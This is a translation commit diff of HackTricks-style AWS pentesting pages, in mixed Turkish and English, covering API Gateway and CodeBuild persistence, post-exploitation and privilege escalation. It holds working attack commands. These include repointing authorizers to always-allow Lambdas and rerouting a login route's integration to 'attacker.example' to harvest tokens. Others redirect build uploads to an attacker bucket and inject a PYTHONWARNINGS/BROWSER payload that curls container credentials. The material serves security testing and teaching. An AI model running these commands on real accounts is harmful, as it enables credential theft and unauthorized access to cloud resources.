Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-02-15 21:39:36 +00:00
parent 7c87df7c53
commit 965d6c68c9
6 changed files with 303 additions and 131 deletions

View File

@@ -4,29 +4,52 @@
## API Gateway
For more information go to:
Daha fazla bilgi için:
{{#ref}}
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Resource Policy
### Kaynak Politikası
Erişim sağlamak için API Gateway(leri) kaynak politikasını değiştirin
API gateway'lerin kaynak politikasını değiştirerek kendinize erişim verin
### Lambda Authorizers'ı Değiştirin
### Lambda Authorizer'larını Değiştir
Tüm endpoints'e erişim verecek şekilde lambda authorizers kodunu değiştirin.\
Ya da authorizer kullanımını kaldırın.
Lambda authorizer'ların kodunu değiştirerek kendinize tüm endpoints'lere erişim verin.\
Veya authorizer kullanımını kaldırın.
Eğer control-plane izinlerinizle **bir authorizer oluşturma/güncelleme** yetkiniz varsa (REST API: `aws apigateway update-authorizer`, HTTP API: `aws apigatewayv2 update-authorizer`) ayrıca **authorizer'ı her zaman izin veren bir Lambda'ya yönlendirebilirsiniz**.
REST API'leri (değişiklikler genellikle bir dağıtım gerektirir):
```bash
REGION="us-east-1"
REST_API_ID="<rest_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"
```
HTTP APIs / `apigatewayv2` (genellikle hemen geçerli olur):
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
```
### IAM Permissions
Eğer bir kaynak IAM authorizer kullanıyorsa, IAM permissions'i değiştirerek kendinize erişim verebilirsiniz.\
Ya da authorizer kullanımını kaldırın.
Eğer bir kaynak IAM authorizer kullanıyorsa, IAM izinlerini değiştirerek kendinize erişim verebilirsiniz.\
Ya da sadece authorizer kullanımını kaldırın.
### API Keys
API keys kullanılıyorsa, persistence'yi sürdürmek için onları leak edebilir ya da yeni API keys oluşturabilirsiniz.\
Ya da API keys kullanımını kaldırın.
API keys kullanılıyorsa, persistence'i sürdürmek için onları leak edebilir veya hatta yenilerini oluşturabilirsiniz.\
Ya da sadece API keys kullanımını kaldırın.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,43 +4,66 @@
## API Gateway
Daha fazla bilgi için bakınız:
For more information check:
{{#ref}}
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Dışa açılmamış API'lere erişim
### ığa çıkarılmamış APIs'e erişim
You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
### İstek gövdesi passthrough'unu atlatma
### Request body passthrough'ı atlatma
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`**, when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
```yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
Ancak, **`Content-type: text/json`** ile bir istek göndermek bu filtreyi atlatır.
Ancak **`Content-type: text/json`** ile bir istek göndermek bu filtreyi atlatıyordu.
Son olarak, API Gateway yalnızca `Get` ve `Options` izin verdiği için, sorguyu gövdeye koyup `X-HTTP-Method-Override: GET` başlığını kullanarak bir POST isteği gönderip sınırlama olmaksızın bir dynamoDB sorgusu çalıştırmak mümkündü:
Son olarak, API Gateway yalnızca `Get` ve `Options` izin verdiği için, sorguyu gövdeye koyup `X-HTTP-Method-Override: GET` başlığını kullanarak bir POST isteği göndererek herhangi bir sınırlama olmaksızın rastgele bir dynamoDB sorgusu göndermek mümkündü:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
### Kullanım Planları DoS
### Usage Plans DoS
**Enumeration** bölümünde anahtarların kullanım planını nasıl **elde edebileceğinizi** görebilirsiniz. Anahtara sahipseniz ve bu anahtar **sınırlandırılmış** olarak **ayda** X kullanım hakkına sahipse, onu **sadece kullanarak bir DoS oluşturabilirsiniz**.
**Enumeration** bölümünde anahtarların **usage plan**'ını nasıl **edinebileceğinizi** görebilirsiniz. Anahtara sahipseniz ve bu anahtar **sınırlı** olarak **ayda X kullanım** içeriyorsa, anahtarı **kullanıp DoS oluşturabilirsiniz**.
The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
**API Key** sadece **`x-api-key` adlı bir HTTP header** içine **dahil edilmelidir**.
### Swap Route Integration To Exfil Traffic (HTTP APIs / `apigatewayv2`)
Eğer bir **HTTP API integration** güncelleyebiliyorsanız, hassas bir route'u (ör. `/login`, `/token`, `/submit`) saldırgan kontrolündeki bir HTTP endpoint'ine **yönlendirebilir** ve sessizce **başlıkları ve gövdeleri toplayabilirsiniz** (çerezler, `Authorization` bearer token'ları, oturum id'leri, API keys, dahili işler tarafından gönderilen secrets vb.).
Örnek iş akışı:
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
```
Notlar:
- For **HTTP APIs**, değişiklikler genellikle hemen yürürlüğe girer (REST APIs'in aksine, genellikle bir dağıtım (deployment) oluşturmanız gerekir).
- Rastgele bir URL'ye işaret edip edemeyeceğiniz integration type/config'e bağlıdır; bazı durumlarda patching yaparken integration type'ı değiştirebilirsiniz.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
apigateway:UpdateGatewayResponse ve apigateway:CreateDeployment izinlerine sahip bir saldırgan, mevcut bir Gateway Response'u **özelleştirilmiş header'lar veya response template'leri ekleyecek şekilde değiştirebilir; bunlar hassas bilgileri leak edebilir veya kötü amaçlı script'leri çalıştırabilir**.
Bu izinlere (`apigateway:UpdateGatewayResponse` ve `apigateway:CreateDeployment`) sahip bir saldırgan **mevcut bir Gateway Response'u, hassas bilgileri leak eden veya kötü amaçlı betikler çalıştıran özel başlıklar veya yanıt şablonları ekleyecek şekilde değiştirebilir**.
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -51,14 +74,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Olası Etki**: Leakage of sensitive information, kötü amaçlı betiklerin çalıştırılması veya API kaynaklarına izinsiz erişim.
**Potansiyel Etki**: Hassas bilgilerin sızdırılması, zararlı betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim.
> [!NOTE]
> Test edilmesi gerekiyor
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
Bu izinlere (`apigateway:UpdateStage` ve `apigateway:CreateDeployment`) sahip bir saldırgan **mevcut bir API Gateway stage'ini değiştirerek trafiği farklı bir stage'e yönlendirebilir veya önbellek ayarlarını değiştirerek önbelleğe alınmış verilere izinsiz erişim sağlayabilir**.
`apigateway:UpdateStage` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan **mevcut bir API Gateway stage'ini değiştirerek trafiği farklı bir stage'e yönlendirebilir veya önbellekleme ayarlarını değiştirerek önbelleğe alınmış verilere yetkisiz erişim sağlayabilir**.
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"
@@ -69,14 +92,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potansiyel Etki**: Önbelleğe alınmış verilere yetkisiz erişim, API trafiğini aksatma veya ele geçirme.
**Olası Etki**: Önbelleğe alınmış verilere yetkisiz erişim, API trafiğini kesintiye uğratma veya ele geçirme.
> [!NOTE]
> Test edilmesi gerekiyor
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
`apigateway:PutMethodResponse` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, mevcut bir API Gateway REST API yönteminin method response'unu değiştirip custom headers veya response templates ekleyerek hassas bilgileri leak edebilir veya execute malicious scripts çalıştırabilir.
Bir saldırgan `apigateway:PutMethodResponse` ve `apigateway:CreateDeployment` izinlerine sahip olduğunda **mevcut bir API Gateway REST API yönteminin method response'unu değiştirerek özel header'lar veya response template'leri ekleyebilir; bunlar hassas bilgileri leak edebilir veya kötü amaçlı scriptler çalıştırabilir.**
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -89,14 +112,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Olası Etki**: Hassas bilgilerin sızması, kötü amaçlı betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim.
**Potansiyel Etki**: Hassas bilgilerin sızması, kötü amaçlı betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim.
> [!NOTE]
> Test edilmesi gerekiyor
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
Bir saldırgan, `apigateway:UpdateRestApi` ve `apigateway:CreateDeployment` izinlerine sahipse **API Gateway REST API ayarlarını değiştirerek logging'i devre dışı bırakabilir veya minimum TLS sürümünü değiştirebilir; bu da API'nin güvenliğini zayıflatabilir**.
`apigateway:UpdateRestApi` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **API Gateway REST API ayarlarını değiştirerek günlüğü devre dışı bırakabilir veya minimum TLS sürümünü değiştirebilir; bu da API'nin güvenliğini zayıflatabilir**.
```bash
API_ID="your-api-id"
@@ -106,14 +129,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Olası Etki**: API'nin güvenliğinin zayıflatılması, muhtemelen yetkisiz erişime izin verme veya hassas bilgilerin ifşa edilmesi.
**Olası Etki**: API'nin güvenliğini zayıflatma; potansiyel olarak yetkisiz erişime izin verme veya hassas bilgilerin ığa çıkmasına yol açma.
> [!NOTE]
> Test edilmesi gerekiyor
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
Bu izinlere sahip bir saldırgan **yeni API keys oluşturabilir, bunları usage plans ile ilişkilendirebilir ve ardından bu API keys'i API'lere yetkisiz erişim için kullanabilir**.
`apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` ve `apigateway:CreateUsagePlanKey` izinlerine sahip bir saldırgan **yeni API anahtarları oluşturabilir, bunları kullanım planlarıyla ilişkilendirebilir ve bu anahtarları API'lere yetkisiz erişim için kullanabilir**.
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

View File

@@ -12,37 +12,37 @@ Daha fazla bilgi için bakınız:
### `apigateway:POST`
Bu izinle yapılandırılmış API'lerin (bölge başına) API anahtarlarını oluşturabilirsiniz.
Bu izin ile yapılandırılmış API'lerin API anahtarlarını oluşturabilirsiniz (bölge başına).
```bash
aws --region <region> apigateway create-api-key
```
**Olası Etki:** Bu teknikle privesc yapamazsınız ama hassas bilgilere erişim elde edebilirsiniz.
**Olası Etki:** Bu teknikle privesc yapamazsınız ancak hassas bilgilere erişim elde edebilirsiniz.
### `apigateway:GET`
Bu izin ile yapılandırılmış API'lerin (bölge başına) oluşturulmuş API anahtarlarını alabilirsiniz.
Bu izinle yapılandırılmış API'lerin oluşturulmuş API anahtarlarını (her bölge için) alabilirsiniz.
```bash
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
```
**Potential Impact:** Bu teknikle privesc yapamazsınız ancak hassas bilgilere erişim elde edebilirsiniz.
**Potential Impact:** Bu teknikle privesc yapamazsınız ama hassas bilgilere erişim elde edebilirsiniz.
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
Bu izinlerle bir API'nin resource policy'sini değiştirerek kendinize onu çağırma erişimi verebilir ve API gateway'in sahip olabileceği potansiyel erişimi suistimal edebilirsiniz (örneğin zafiyetli bir lambda'yı çağırmak).
Bu izinlerle bir API'nin resource policy'sini değiştirerek kendinize API'yi çağırma erişimi verebilir ve API gateway'in sağlayabileceği potansiyel erişimi kötüye kullanabilirsiniz (ör. zafiyetli bir lambda'yı çağırmak).
```bash
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
```
**Potansiyel Etki:** Genellikle bu teknikle doğrudan privesc yapamazsınız, ancak hassas bilgilere erişim sağlayabilirsiniz.
**Olası Etki:** Genellikle bu teknikle doğrudan privesc elde edemezsiniz ancak hassas bilgilere erişim sağlayabilirsiniz.
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
> [!NOTE]
> Test edilmesi gerekiyor
`apigateway:PutIntegration`, `apigateway:CreateDeployment` ve `iam:PassRole` izinlerine sahip bir saldırgan, IAM rolü iliştirilmiş bir Lambda fonksiyonuyla mevcut bir API Gateway REST API'sine **yeni bir entegrasyon ekleyebilir**. Saldırgan daha sonra **Lambda fonksiyonunu tetikleyerek keyfi kod çalıştırabilir ve potansiyel olarak IAM rolüyle ilişkili kaynaklara erişim elde edebilir**.
Bu izinlere (`apigateway:PutIntegration`, `apigateway:CreateDeployment`, ve `iam:PassRole`) sahip bir saldırgan, var olan bir API Gateway REST API'sine **IAM role atanmış bir Lambda fonksiyonuyla yeni bir entegrasyon ekleyebilir**. Saldırgan daha sonra **Lambda fonksiyonunu tetikleyerek istediği kodu çalıştırabilir ve potansiyel olarak IAM role ile ilişkili kaynaklara erişim sağlayabilir**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -56,14 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potansiyel Etki**: Lambda function'ın IAM rolüyle ilişkili kaynaklara erişim.
**Olası Etki**: Lambda işlevinin IAM rolüyle ilişkili kaynaklara erişim.
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
> [!NOTE]
> Test edilmesi gerekiyor
`apigateway:UpdateAuthorizer` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, mevcut bir API Gateway authorizer'ını değiştirerek güvenlik kontrollerini atlatabilir veya API istekleri yapıldığında keyfi kod çalıştırabilir.
Bir saldırgan `apigateway:UpdateAuthorizer` ve `apigateway:CreateDeployment` izinlerine sahip olduğunda, **mevcut bir API Gateway authorizer'ı değiştirebilir** ve güvenlik kontrollerini atlatabilir (ör. onu her zaman "allow" döndüren bir Lambda'ya yönlendirmek) veya API istekleri yapıldığında keyfi kod çalıştırabilir.
```bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
@@ -75,14 +75,26 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potansiyel Etki**: Güvenlik kontrollerinin atlanması, API kaynaklarına yetkisiz erişim.
**Olası Etki**: Güvenlik kontrollerinin atlanması, API kaynaklarına yetkisiz erişim.
#### HTTP APIs / `apigatewayv2` varyantı
HTTP APIs (API Gateway v2) için, eşdeğer işlem, yetkilendiriciyi `apigatewayv2` aracılığıyla güncellemektir:
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
```
### `apigateway:UpdateVpcLink`
> [!NOTE]
> Test edilmesi gerekiyor
Bir saldırgan `apigateway:UpdateVpcLink` iznine sahip olduğunda, **mevcut bir VPC Link'i farklı bir Network Load Balancer'a işaret edecek şekilde değiştirebilir ve bu da özel API trafiğini yetkisiz veya kötü niyetli kaynaklara yönlendirebilir**.
`apigateway:UpdateVpcLink` iznine sahip bir saldırgan, mevcut bir VPC Link'i farklı bir Network Load Balancer'a işaret edecek şekilde **değiştirerek özel API trafiğini yetkisiz veya kötü amaçlı kaynaklara yönlendirebilir**.
```bash
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
@@ -90,6 +102,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
```
**Potansiyel Etki**: Özel API kaynaklarına yetkisiz erişim, API trafiğinin ele geçirilmesi veya kesintiye uğratılması.
**Olası Etki**: Özel API kaynaklarına yetkisiz erişim; API trafiğinin ele geçirilmesi veya kesintiye uğratılması.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ Daha fazla bilgi için:
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
Bu izinlerden yalnızca biri, yeni bir buildspec ile bir build tetiklemek ve projeye atanmış iam role'un token'ını çalmak için yeterlidir:
Bu izinlerden yalnızca birine sahip olmak, yeni bir buildspec ile bir build tetiklemek ve projeye atanmış IAM rolünün token'ını çalmak için yeterlidir:
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -58,16 +58,79 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
{{#endtab }}
{{#endtabs }}
**Not:** Bu iki komut arasındaki fark şudur:
**Not**: Bu iki komut arasındaki fark:
- `StartBuild` belirli bir `buildspec.yml` kullanarak tek bir build işi tetikler.
- `StartBuildBatch` daha karmaşık yapılandırmalarla (örneğin birden fazla build'i paralel çalıştırmak gibi) bir dizi build başlatmanıza olanak tanır.
- `StartBuildBatch` daha karmaşık yapılandırmalarla (ör. birden fazla build'i paralel çalıştırma gibi) bir batch build başlatmanıza olanak tanır.
**Olası Etki:** Bağlı AWS Codebuild rollere doğrudan privesc.
**Olası Etki:** Bağlı AWS Codebuild rolleri üzerinde doğrudan privesc.
#### StartBuild Ortam Değişkeni Geçersiz Kılma
Proje üzerinde değişiklik yapamıyor olsanız (`UpdateProject`) ve buildspec'i geçersiz kılamıyor olsanız bile, `codebuild:StartBuild` yine de build zamanında ortam değişkenlerini şu yollarla geçersiz kılmanıza izin verir:
- CLI: `--environment-variables-override`
- API: `environmentVariablesOverride`
Eğer build davranışı ortam değişkenleriyle kontrol ediliyorsa (destination buckets, feature flags, proxy settings, logging, vb.), bu, build rolünün erişebildiği sırları **exfiltrate secrets** etmek veya build içinde **code execution** elde etmek için yeterli olabilir.
##### Örnek 1: Artifact/Upload Destination'ı Yeniden Yönlendirerek **exfiltrate secrets**
Eğer build bir artifact'ı bir env var ile kontrol edilen bir bucket/path'e yayınlıyorsa (örneğin `UPLOAD_BUCKET`), bunu saldırgan kontrollü bir bucket ile geçersiz kılın:
```bash
export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"
export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)
# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done
# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
```
##### Example 2: Python Startup Injection via `PYTHONWARNINGS` + `BROWSER`
If the build runs `python3` (common in buildspecs), you can sometimes get code execution without touching the buildspec by abusing:
- `PYTHONWARNINGS`: Python resolves the *category* field and will import dotted paths. Setting it to `...:antigravity.x:...` forces importing the stdlib module `antigravity`.
- `antigravity`: calls `webbrowser.open(...)`.
- `BROWSER`: controls what `webbrowser` executes. On Linux it is `:`-separated. Using `#%s` makes the URL argument a shell comment.
This can be used to print the CodeBuild role credentials (from `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`) into CloudWatch logs, then recover them if you have log read permissions.
<details>
<summary>Genişletilebilir: <code>PYTHONWARNINGS</code> + <code>BROWSER</code> hilesi için StartBuild JSON isteği</summary>
```json
{
"projectName": "codebuild_lab_7_project",
"environmentVariablesOverride": [
{
"name": "PYTHONWARNINGS",
"value": "all:0:antigravity.x:0:0",
"type": "PLAINTEXT"
},
{
"name": "BROWSER",
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
"type": "PLAINTEXT"
}
]
}
```
</details>
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Bir saldırgan, **`iam:PassRole`, `codebuild:CreateProject`, ve `codebuild:StartBuild` veya `codebuild:StartBuildBatch`** izinlerine sahipse, çalışır durumda bir tane oluşturarak **herhangi bir codebuild IAM rolünde privesc elde edebilir**.
Bir saldırgan, **`iam:PassRole`, `codebuild:CreateProject` ve `codebuild:StartBuild` veya `codebuild:StartBuildBatch`** izinlerine sahipse, çalışır durumda bir tane oluşturarak **herhangi bir codebuild IAM rolüne yetki yükseltmesi yapabilir**.
{{#tabs }}
{{#tab name="Example1" }}
@@ -171,20 +234,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
{{#endtab }}
{{#endtabs }}
**Olası Etki:** AWS Codebuild rolüne doğrudan privesc.
**Potansiyel Etki:** Direct privesc to any AWS Codebuild role.
> [!WARNING]
> Bir **Codebuild container** içinde `/codebuild/output/tmp/env.sh` dosyası **metadata kimlik bilgilerine** erişmek için gereken tüm env değişkenlerini içerir.
> Bu dosya, kimlik bilgilerine erişmek için gereken **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**'yi içerir; bu değişken erişim için kullanılacak **URL path**'i barındırır. Örneğin `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` gibi bir değer olacaktır.
> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökebilirsiniz.
> Ayrıca, konteyner hakkında metadata bilgisi almak için gereken tam URL'i içeren **env variable `ECS_CONTAINER_METADATA_URI`** da bulunmaktadır.
> Bir **Codebuild container** içinde `/codebuild/output/tmp/env.sh` dosyası **metadata credentials**'e erişmek için gereken tüm env değişkenlerini içerir.
>
> Bu dosya, **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**'yi içerir; bu değişken, kimlik bilgilerine erişmek için gereken **URL path**'i içerir. Şöyle bir şey olacaktır: `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
>
> Bunu **`http://169.254.170.2/`** URL'sine eklediğinizde role credentials'i dökebilirsiniz.
>
> Ayrıca, **metadata info about the container** almak için tam URL'i içeren **env variable `ECS_CONTAINER_METADATA_URI`**'yi de içerir.
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Önceki bölümde olduğu gibi, eğer bir build projesi oluşturmak yerine mevcut projeyi değiştirebiliyorsanız, IAM Role'u belirtebilir ve token'ı çalabilirsiniz.
Önceki bölümde olduğu gibi, eğer bir build projesi oluşturmak yerine mevcut projeyi değiştirebiliyorsanız, IAM Role'u belirleyip token'ı çalabilirsiniz.
```bash
REV_PATH="/tmp/codebuild_pwn.json"
@@ -218,11 +281,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file
aws codebuild start-build --project-name codebuild-demo-project
```
**Olası Etki:** Herhangi bir AWS Codebuild rolüne doğrudan privesc.
**Olası Etki:** Herhangi bir AWS Codebuild role'üne doğrudan privesc.
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Önceki bölümde olduğu gibi fakat **`iam:PassRole` izni olmadan**, bu izinleri kötüye kullanarak mevcut Codebuild projelerini **değiştirip zaten atanmış rollere erişebilirsiniz**.
Bir önceki bölümde olduğu gibi ama **`iam:PassRole` izni olmadan**, bu izinleri kötüye kullanarak mevcut Codebuild projelerini **değiştirebilir ve zaten atandıkları role erişebilirsiniz**.
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -298,13 +361,13 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
{{#endtab }}
{{#endtabs }}
**Potential Impact:** Doğrudan privesc to attached AWS Codebuild roles.
**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan privesc.
### SSM
Birinin **ssm session başlatmak için yeterli izinlere** sahip olması durumunda, inşa edilen bir **Codebuild project**'in içine girmek mümkün olur.
Bir **ssm session başlatmak için yeterli izin**e sahip olmak, derlenmekte olan bir **Codebuild projesinin** içine girmeyi mümkün kılar.
Codebuild project'in bir breakpoint içermesi gerekir:
The codebuild project will need to have a breakpoint:
<pre class="language-yaml"><code class="lang-yaml">phases:
pre_build:
@@ -319,13 +382,13 @@ Ve sonra:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
```
Daha fazla bilgi için [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
Belirli bir CodeBuild projesinin derlemesini başlatma/yeniden başlatma yetkisine sahip bir saldırgan ve projenin `buildspec.yml` dosyasının saldırganın yazma erişimi olan bir S3 bucket'ında saklanıyor olması durumunda, saldırgan CodeBuild sürecinde komut yürütme elde edebilir.
Belirli bir CodeBuild projesinin build'ini başlatma/yeniden başlatma yetkisine sahip bir saldırgan, proje `buildspec.yml` dosyasını saldırganın yazma erişimi olan bir S3 bucket'ında saklıyorsa, CodeBuild sürecinde command execution elde edebilir.
Not: Bu eskalasyon yalnızca CodeBuild worker'ın saldırganın rolünden farklı ve umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
Not: Yükseltme yalnızca CodeBuild worker'ının saldırganın rolünden farklı ve umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
```bash
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
@@ -342,7 +405,7 @@ aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
```
Böyle bir **buildspec** kullanarak **reverse shell** elde edebilirsiniz:
